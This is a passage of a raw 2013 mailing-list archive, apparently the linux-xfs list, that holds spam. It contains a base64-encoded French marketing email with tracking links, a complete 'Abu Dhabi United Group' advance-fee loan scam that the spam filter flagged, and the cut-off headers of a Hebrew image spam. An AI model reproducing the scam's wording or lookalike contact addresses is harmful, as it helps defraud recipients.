bG9yOiNGRkZGRkY7IHBhZGRpbmc6MTVweCAxNXB4IDAgMTVweDsiPg0KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIw IiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5Pg0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFs aWduPSJjZW50ZXIiIHZhbGlnbj0ibWlkZGxlIj48YSAgaHJlZj0iaHR0cDovL2RldmVuZXptYWxp bi5mci90ci9pbmRleC5hc3B4P2lkPTU0ZTJlMDEwYWIyM2EwMzM2MzA2ZDNlNGJmNTk1ZDY4NmFi Zjg0N2QxNmZiZDAxOTg3ZGE4NGNjNTI0NjFkNjUzZDViNmEwMjc0ZGJmMmI2IiB0YXJnZXQ9Il9i bGFuayIgcmVfdGFyZ2V0PSJfYmxhbmsiPjxpbWcgc3JjPSJodHRwOi8vZS5wc2ltZy5uZXQvVklT L1BCQy8xMzA1Q0xJRU5UL1Bvd2Vyc3BhY2VfUEJDU18wMS5naWYiIGFsdD0iQ2hvaXNpc3NleiBs YSBjYXJ0ZSBkZSB2aXNpdGUgcXVpIHZvdXMgY29udmllbnQiIHdpZHRoPSI2MDAiIGhlaWdodD0i MTE4IiBib3JkZXI9IjAiIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyIgdGl0bGU9IkNob2lzaXNzZXog bGEgY2FydGUgZGUgdmlzaXRlIHF1aSB2b3VzIGNvbnZpZW50Ij48L2E+PC90ZD4NCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFs aWduPSJjZW50ZXIiIHZhbGlnbj0ibWlkZGxlIj48YSAgaHJlZj0iaHR0cDovL2RldmVuZXptYWxp bi5mci90ci9pbmRleC5hc3B4P2lkPTU0ZTJlMDEwYWIyM2EwMzM2MzA2ZDNlNGJmNTk1ZDY4MTEy MWE0NDE3MjQ1ZDRiYzhjMzQ5ZGFlYTlhZDE2MTZjOTkzY2M0MjM2NDM0ZTM2IiB0YXJnZXQ9Il9i bGFuayIgcmVfdGFyZ2V0PSJfYmxhbmsiPjxpbWcgc3JjPSJodHRwOi8vZS5wc2ltZy5uZXQvVklT L1BCQy8xMzA1Q0xJRU5UL1Bvd2Vyc3BhY2VfUEJDU18wMi5qcGVnIiBhbHQ9IkonZW4gcHJvZml0 ZSAhIiB0aXRsZT0iSidlbiBwcm9maXRlICEiIHdpZHRoPSI2MDAiIGhlaWdodD0iNDY3IiBib3Jk ZXI9IjAiIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyI+PC9hPjwvdGQ+DQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2Vu dGVyIiB2YWxpZ249Im1pZGRsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGFsaWdu PSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+DQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE4MCIgYWxpZ249ImxlZnQiIHZhbGln bj0ibWlkZGxlIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojRkZGRkZGOyBwYWRkaW5nOjdweCAx NXB4IDNweCAxNXB4ICFpbXBvcnRhbnQ7IG1hcmdpbjo3cHggMTVweCAzcHggMTVweCAhaW1wb3J0 YW50OyBmb250LWZhbWlseTpBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOyBmb250LXNpemU6 MTNweDsgZm9udC13ZWlnaHQ6Ym9sZDsgY29sb3I6IzU2NTY1NjsiPlBlcnNvbm5hbGlzYXRpb24g ZXQgY29tbWFuZGUgZW4gbGlnbmUgZmFjaWxlczwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0i MjAiIGhlaWdodD0iNjAiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0ibWlkZGxlIj48aW1nIHNyYz0i aHR0cDovL2UucHNpbWcubmV0L1ZJUy9QQkMvMTMwNUNMSUVOVC9Qb3dlcnNwYWNlXzAzLmdpZiIg YWx0PSIuIiB3aWR0aD0iMjAiIGhlaWdodD0iNDAiIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyI+PC90 ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxODAiIGFsaWduPSJsZWZ0IiB2YWxpZ249Im1pZGRs ZSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6I0ZGRkZGRjsgcGFkZGluZzo3cHggMTVweCAzcHgg MTVweCAhaW1wb3J0YW50OyBtYXJnaW46N3B4IDE1cHggM3B4IDE1cHggIWltcG9ydGFudDsgZm9u dC1mYW1pbHk6QXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgZm9udC1zaXplOjEzcHg7IGZv bnQtd2VpZ2h0OmJvbGQ7IGNvbG9yOiM1NjU2NTY7Ij5QZXJzb25uYWxpc2V6LWxlcyBhdmVjIHZv dHJlIHBob3RvIG91IGxvZ28gZW4gb3B0aW9uPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIy MCIgaGVpZ2h0PSI2MCIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJtaWRkbGUiPjxpbWcgc3JjPSJo dHRwOi8vZS5wc2ltZy5uZXQvVklTL1BCQy8xMzA1Q0xJRU5UL1Bvd2Vyc3BhY2VfMDMuZ2lmIiBh bHQ9Ii4iIHdpZHRoPSIyMCIgaGVpZ2h0PSI0MCIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7Ij48L3Rk Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE4MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxl IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojRkZGRkZGOyBwYWRkaW5nOjdweCAxNXB4IDNweCAx NXB4ICFpbXBvcnRhbnQ7IG1hcmdpbjo3cHggMTVweCAzcHggMTVweCAhaW1wb3J0YW50OyBmb250 LWZhbWlseTpBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOyBmb250LXNpemU6MTNweDsgZm9u dC13ZWlnaHQ6Ym9sZDsgY29sb3I6IzU2NTY1NjsiPkltcHJlc3Npb24gY291bGV1ciBzdXIgcGFw aWVyIMOpcGFpcyBkZSBxdWFsaXTDqTwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+DQog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGFibGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiBhbGlnbj0iY2VudGVyIiB2YWxpZ249Im1p ZGRsZSIgc3R5bGU9InBhZGRpbmc6N3B4IDE1cHggM3B4IDE1cHggIWltcG9ydGFudDsgbWFyZ2lu OjdweCAxNXB4IDNweCAxNXB4ICFpbXBvcnRhbnQ7IGZvbnQtZmFtaWx5OkFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZToxMnB4OyBmb250LXdlaWdodDpub3JtYWw7IGNvbG9y OiNGRkZGRkY7IGJhY2tncm91bmQtY29sb3I6IzU2NTY1NjsiPjxhICBocmVmPSJodHRwOi8vZGV2 ZW5lem1hbGluLmZyL3RyL2luZGV4LmFzcHg/aWQ9NTRlMmUwMTBhYjIzYTAzMzYzMDZkM2U0YmY1 OTVkNjg0NTIxYWJlYjMxMTBiNDY2NTA2MTBiZDkyN2UwM2M5ZDJkMDQyYzg2OWQ5MmU4ZDEiIHRh cmdldD0iX2JsYW5rIiBzdHlsZT0icGFkZGluZzo3cHggMTVweCAzcHggMTVweCAhaW1wb3J0YW50 OyBtYXJnaW46N3B4IDE1cHggM3B4IDE1cHggIWltcG9ydGFudDsgZm9udC1mYW1pbHk6QXJpYWws IEhlbHZldGljYSwgc2Fucy1zZXJpZjsgZm9udC1zaXplOjEycHg7IGZvbnQtd2VpZ2h0Om5vcm1h bDsgY29sb3I6I0ZGRkZGRjsgYmFja2dyb3VuZC1jb2xvcjojNTY1NjU2OyB0ZXh0LWRlY29yYXRp b246bm9uZTsiIHJlX3RhcmdldD0iX2JsYW5rIj4sIG5lIHBhc3NleiBwYXMgw6AgY8O0dMOpIGRl IGNldHRlIHN1cGVyYmUgb2ZmcmUgITwvYT48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5Pg0KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8IS0tICoqKiogRU5EIENSRUFUSVZFICoqKioqIC0tPjwvdGQ+ DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCIg c3R5bGU9ImJhY2tncm91bmQtY29sb3I6I0ZGRkZGRjsgcGFkZGluZzoxMHB4IDE1cHggMTBweCAx NXB4OyI+PGltZyBzcmM9Imh0dHA6Ly9lLnBzaW1nLm5ldC9WSVMvUEJDLzEzMDVDTElFTlQvYWVf VjJDXzYwMF9GUi5naWYiIGFsdD0iLiIgd2lkdGg9IjYwMCIgaGVpZ2h0PSI1MyIgYm9yZGVyPSIw IiBzdHlsZT0iZGlzcGxheTpibG9jazsgY29sb3I6I0ZGRkZGRjsiPjwvdGQ+DQogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI+PGltZyBzcmM9Imh0 dHA6Ly9hbHRmYXJtLm1lZGlhcGxleC5jb20vYWQvdHIvMTEyMDEtNjY0MDktNDgzODUtMjIiIGFs dD0iIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIiBib3JkZXI9IjAiPjwvdGQ+DQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdGJvZHk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGFibGU+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+ DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MzAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9 IjAiIGNlbGxzcGFjaW5nPSIwIiBpZD0iZm9vdGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249Im1pZGRsZSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6 I0NDQ0NDQzsgcGFkZGluZzo4cHggMCAycHggMDsgZm9udC1mYW1pbHk6QXJpYWwsIEhlbHZldGlj YSwgc2Fucy1zZXJpZjsgZm9udC1zaXplOjExcHg7IGZvbnQtd2VpZ2h0Om5vcm1hbDsgY29sb3I6 IzU2NTY1NjsgbGluZS1oZWlnaHQ6MTNweDsiPlByaXggYWZmaWNow6lzIFRUQy4gTGVzIGZyYWlz IGRlIHBvcnQsIGxlcyBvcHRpb25zIGRlIHByb2R1aXRzIGV0IHBob3RvL2xvZ28gdMOpbMOpY2hh cmfDqXMgbmUgc29udCBwYXMgY29tcHJpcyDDoCBtb2lucyBkZSBuJ8OqdHJlIGV4cGxpY2l0ZW1l bnQgaW5jbHVzIGRhbnMgbMK0b2ZmcmUuIE9mZnJlIG5vbiB2YWxpZGUgc3VyIGRlcyBjb21tYW5k ZXMgZMOpasOgIHBhc3PDqWVzLiBWb2lyIGxlIHNpdGUgd2ViIHBvdXIgcGx1cyBkZSBkw6l0YWls cy4gPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHZhbGln bj0iYm90dG9tIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOyBwYWRkaW5nOjJweCAw IDJweCAwOyI+PGltZyBzcmM9Imh0dHA6Ly9lLnBzaW1nLm5ldC9WSVMvUEJDLzEzMDVDTElFTlQv YWVfZGlzY182MDBfRlIuZ2lmIiBib3JkZXI9IjAiIGFsdD0iLiIgc3R5bGU9ImRpc3BsYXk6Ymxv Y2s7IGNvbG9yOiNDQ0NDQ0M7Ij48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxp Z249ImNlbnRlciIgdmFsaWduPSJ0b3AiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiNDQ0NDQ0M7 IHBhZGRpbmc6MDsiPjxpbWcgc3JjPSJodHRwOi8vZS5wc2ltZy5uZXQvVklTL1BCQy8xMzA1Q0xJ RU5UL3BheWljb19GUi5naWYiIGJvcmRlcj0iMCIgYWx0PSIuIiBzdHlsZT0iZGlzcGxheTppbmxp bmU7Ij48aW1nIHNyYz0iaHR0cDovL2UucHNpbWcubmV0L1ZJUy9QQkMvMTMwNUNMSUVOVC9zZWN1 cmUuZ2lmIiBib3JkZXI9IjAiIGFsdD0iLiIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyI+PC90ZD4N CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAg ICAgICAgPC90Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAg ICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MzAiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2Vs bHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0 Ym9keT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAg ICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg ICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgPC90YWJsZT4NCiAg ICA8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzdHlsZT0iZm9udC1zaXplOiAxMnB4OyBjb2xvcjog cmdiKDU0LCA1MywgNTMpOyIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+IFZv dXMgciZlYWN1dGU7Y2VwdGlvbm5leiBjZXR0ZSBpbmZvcm1hdGlvbiBzdXIgdm90cmUgYWRyZXNz ZSBlbWFpbCBjYXIgdm91cyAmZWNpcmM7dGVzIG1lbWJyZSBkZSBEZXZlbmV6TWFsaW4gb3UgaW5z Y3JpdCBkYW5zIGxlcyBiYXNlcyBkZSBkb25uJmVhY3V0ZTtlcyBkZSBub3MgcGFydGVuYWlyZXMg b3UgYmllbiBlbmNvcmUgcGFyY2UgcXVlIHZvdXMgYXZleiAmZWFjdXRlO3QmZWFjdXRlOyBwYXJy YWluJmVhY3V0ZTsgcGFyIHVuIG1lbWJyZS48YnI+DQo8L2ZvbnQ+PC9wPg0KPHAgYWxpZ249ImNl bnRlciI+PGZvbnQgc3R5bGU9ImZvbnQtc2l6ZTogMTJweDsgY29sb3I6IHJnYig1NCwgNTMsIDUz KTsiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxmb250IHN0eWxlPSJmb250 LXNpemU6IDEycHg7IGNvbG9yOiByZ2IoNTQsIDUzLCA1Myk7IiBmYWNlPSJBcmlhbCwgSGVsdmV0 aWNhLCBzYW5zLXNlcmlmIj48YSAgaHJlZj0iaHR0cDovL2RldmVuZXptYWxpbi5mci90ci9pbmRl eC5hc3B4P2lkPTU0ZTJlMDEwYWIyM2EwMzM2MzA2ZDNlNGJmNTk1ZDY4YmY0M2NjNTU0MzJhZTI5 NThjNGRhYzJmZjU4NmJiMDRiYzJkYWQ3NWFjMjg2OWVhIiBzdHlsZT0iY29sb3I6IHJnYigxODEs IDE1LCA3MCk7Ij5KZSBuZSBzb3VoYWl0ZSBwbHVzIHF1JnJzcXVvO29uIG1lIHByb3Bvc2UgbGVz IHMmZWFjdXRlO2xlY3Rpb25zIGRlIERldmVuZXogTWFsaW4gLjwvYT48YnI+DQpOb3RleiBxdWUg bGUgdHJhaXRlbWVudCBkZSBjZXR0ZSBkZW1hbmRlIHBldXQgcHJlbmRyZSBqdXNxdSZyc3F1bzth IDQ4IGhldXJlcy48L2ZvbnQ+PC9mb250PjwvcD48aW1nIGhlaWdodD0nMScgd2lkdGg9JzEnIGFs dD0nJyBzcmM9J2h0dHA6Ly9kZXZlbmV6bWFsaW4uZnIvdHIvaW5kZXguYXNweD9pZD01NGUyZTAx MGFiMjNhMDMzNjMwNmQzZTRiZjU5NWQ2OGYxY2NlYTgzYjBhZWI4YmMwNTliMWU4MDZjZDIwZWQ1 Mzc1NzhhMjc0ZjE0OTNlMCc+PC9ib2R5Pg0KPC9odG1sPg== From info@abudhabigroup.org Sat Jul 6 17:44:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.6 required=5.0 tests=LOTS_OF_MONEY,US_DOLLARS_3 autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4D0D17CBF for ; Sat, 6 Jul 2013 17:44:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CF06FAC003 for ; Sat, 6 Jul 2013 15:44:47 -0700 (PDT) X-ASG-Debug-ID: 1373150676-04cbb0468ec2c7b0001-w1Z2WR Received: from vps584.openvps.eu (rohost.com [89.45.173.85]) by cuda.sgi.com with ESMTP id GIJJ37isLd5jao22 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 06 Jul 2013 15:44:38 -0700 (PDT) X-Barracuda-Envelope-From: info@abudhabigroup.org X-Barracuda-Apparent-Source-IP: 89.45.173.85 Received: from [127.0.0.1] (port=45613 helo=webmail.helco.ro) by vps584.openvps.eu with esmtpa (Exim 4.77) (envelope-from ) id 1Uvb6i-0005pj-8q; Sun, 07 Jul 2013 01:37:32 +0300 Received: from 46.166.184.135 ([46.166.184.135]) (proxying for 46.166.184.135) (SquirrelMail authenticated user hurezeanu@helco.ro) by webmail.helco.ro with HTTP; Sun, 7 Jul 2013 01:37:32 +0300 Message-ID: <66500bd62ede8c663b45aff2d2db997c.squirrel@webmail.helco.ro> Date: Sun, 7 Jul 2013 01:37:32 +0300 Subject: Project Funding From: "Abu Dhabi United Group" X-ASG-Orig-Subj: Project Funding Reply-To: admin@abudhabiunittedgroup.org User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vps584.openvps.eu X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - abudhabigroup.org X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Connect: rohost.com[89.45.173.85] X-Barracuda-Start-Time: 1373150678 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.38 X-Barracuda-Spam-Status: No, SCORE=1.38 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, MISSING_HEADERS, TO_CC_NONE, US_DOLLARS_3 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136012 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.17 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN) 0.00 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; Greetings, We the Abu Dhabi United Group invite you to partner with us and benefit in our new Loan and Project funding program. We offer flexible loans and funding for various projects bypassing the usual rigorous procedures. This Funding program allows a client to enjoy low interest payback for as low as 3 - 4% per annum for a period of 5-7 years. We can approve a loan/funding for up to USD 500,000,000.00 or more depending on the nature of business. We are currently funding for: * Starting up a Franchise * Business Acquisition * Business Expansion * Commercial Real Estate purchase * Contract Execution We are open to having a good business relationship with you. If you think you have a solid background and idea of making good profit in any venture, please do not hesitate to contact us for possible business co-operation. Best Regards, Ahmed Ali Tahir Abu Dhabi United Group, Abu Dhabi, United Arab Emirates. Email:dhabigroup@aol.com From elta@hotufi.net Sun Jul 7 04:54:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.7 required=5.0 tests=DC_GIF_UNO_LARGO, DC_IMAGE_SPAM_HTML,DC_IMAGE_SPAM_TEXT,HTML_MESSAGE,MIME_HTML_MOSTLY, MPART_ALT_DIFF,SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 979E27F37 for ; Sun, 7 Jul 2013 04:54:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 84FA78F8039 for ; Sun, 7 Jul 2013 02:54:47 -0700 (PDT) X-ASG-Debug-ID: 1373190882-04cb6c2a469a5b00001-NocioJ Received: from hot-smtpauth1.sdv.fr (hot-smtpauth1.sdv.fr [212.95.71.159]) by cuda.sgi.com with ESMTP id hCL3xnRuCYGEv4HO for ; Sun, 07 Jul 2013 02:54:43 -0700 (PDT) X-Barracuda-Envelope-From: elta@hotufi.net X-Barracuda-Apparent-Source-IP: 212.95.71.159 Received: from userPC (unknown [213.57.226.119]) by hot-smtpauth1.sdv.fr (Postfix) with ESMTPSA id D16768052; Sun, 7 Jul 2013 11:52:55 +0200 (CEST) From: =?windows-1255?B?8vDh7A==?= To: =?windows-1255?B?8vDh7A==?= Subject: =?windows-1255?B?Rlc6IPbp7vgg4Onr5frpIOHu5+n4IPLu7uktIOH69+X0+iDk+PbkIC0g?= =?windows-1255?B?6+wg5Pfl4+0g5uXr5CAuIA==?= Date: Sun, 7 Jul 2013 12:52:53 +0300 X-ASG-Orig-Subj: =?windows-1255?B?Rlc6IPbp7vgg4Onr5frpIOHu5+n4IPLu7uktIOH69+X0+iDk+PbkIC0g?= =?windows-1255?B?6+wg5Pfl4+0g5uXr5CAuIA==?= Message-ID: <000601ce7af7$fc6c2660$f5447320$@net> MIME-Version: 1.0 Content-Type: multipart/related; boundary="----=_NextPart_000_0007_01CE7B11.21B95E60" X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac5wrnCrupP9XF5vR8m2MxuzYLLeSQABO+8AAEHnDyACToJq4A== Content-Language: he X-Barracuda-Connect: hot-smtpauth1.sdv.fr[212.95.71.159] X-Barracuda-Start-Time: 1373190883 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.36 X-Barracuda-Spam-Status: No, SCORE=1.36 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MJ3895, BSF_SC0_SA090e, BSF_SC0_SA717, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DC_GIF_UNO_LARGO, DC_IMAGE_SPAM_HTML, DC_IMAGE_SPAM_TEXT, HTML_MESSAGE, MIME_HTML_MOSTLY, MPART_ALT_DIFF, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136058 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 MIME_HTML_MOSTLY BODY: Multipart message mostly text/html MIME 0.00 HTML_MESSAGE BODY: 